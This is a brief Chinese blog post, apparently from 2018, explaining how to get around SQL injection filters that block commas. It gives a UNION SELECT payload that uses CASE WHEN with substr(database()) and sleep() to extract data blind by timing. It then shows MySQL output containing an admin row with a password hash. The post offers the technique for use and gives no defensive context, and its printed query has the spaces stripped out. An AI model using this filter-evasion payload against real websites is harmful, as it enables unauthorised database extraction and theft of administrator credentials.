sql注入过滤逗号怎么办

lewis 7年前 (2018-12-01) 阅读数 7 #VPS/云服务器

文章标签 sql注入

sql注入过滤逗号的解决方法：

通过case when then绕过，例如：

mysql>select*fromlbcms_adminwhereadminnamelike"%a%"unionselect1,2,3,4,5,6,7,casewhensubstr(database()from1for1)='l'thensleep(3)else0end;+----+-----------+-----------------+----------+-------------+------------+-----------+---------------------+
|ID|adminName|adminPassWord|adminLov|adminConfig|adminClass|adminLock|adminDate|
+----+-----------+-----------------+----------+-------------+------------+-----------+---------------------+
|1|admin|a797ba2993304483f0d180e25d14319a|520||NULL|SgrRUQ|2010-04-1400:00:00|
|1|2|3|4|5|6|7|0|
+----+-----------+-----------------+----------+-------------+------------+-----------+---------------------+

2 rows in set (3.00 sec)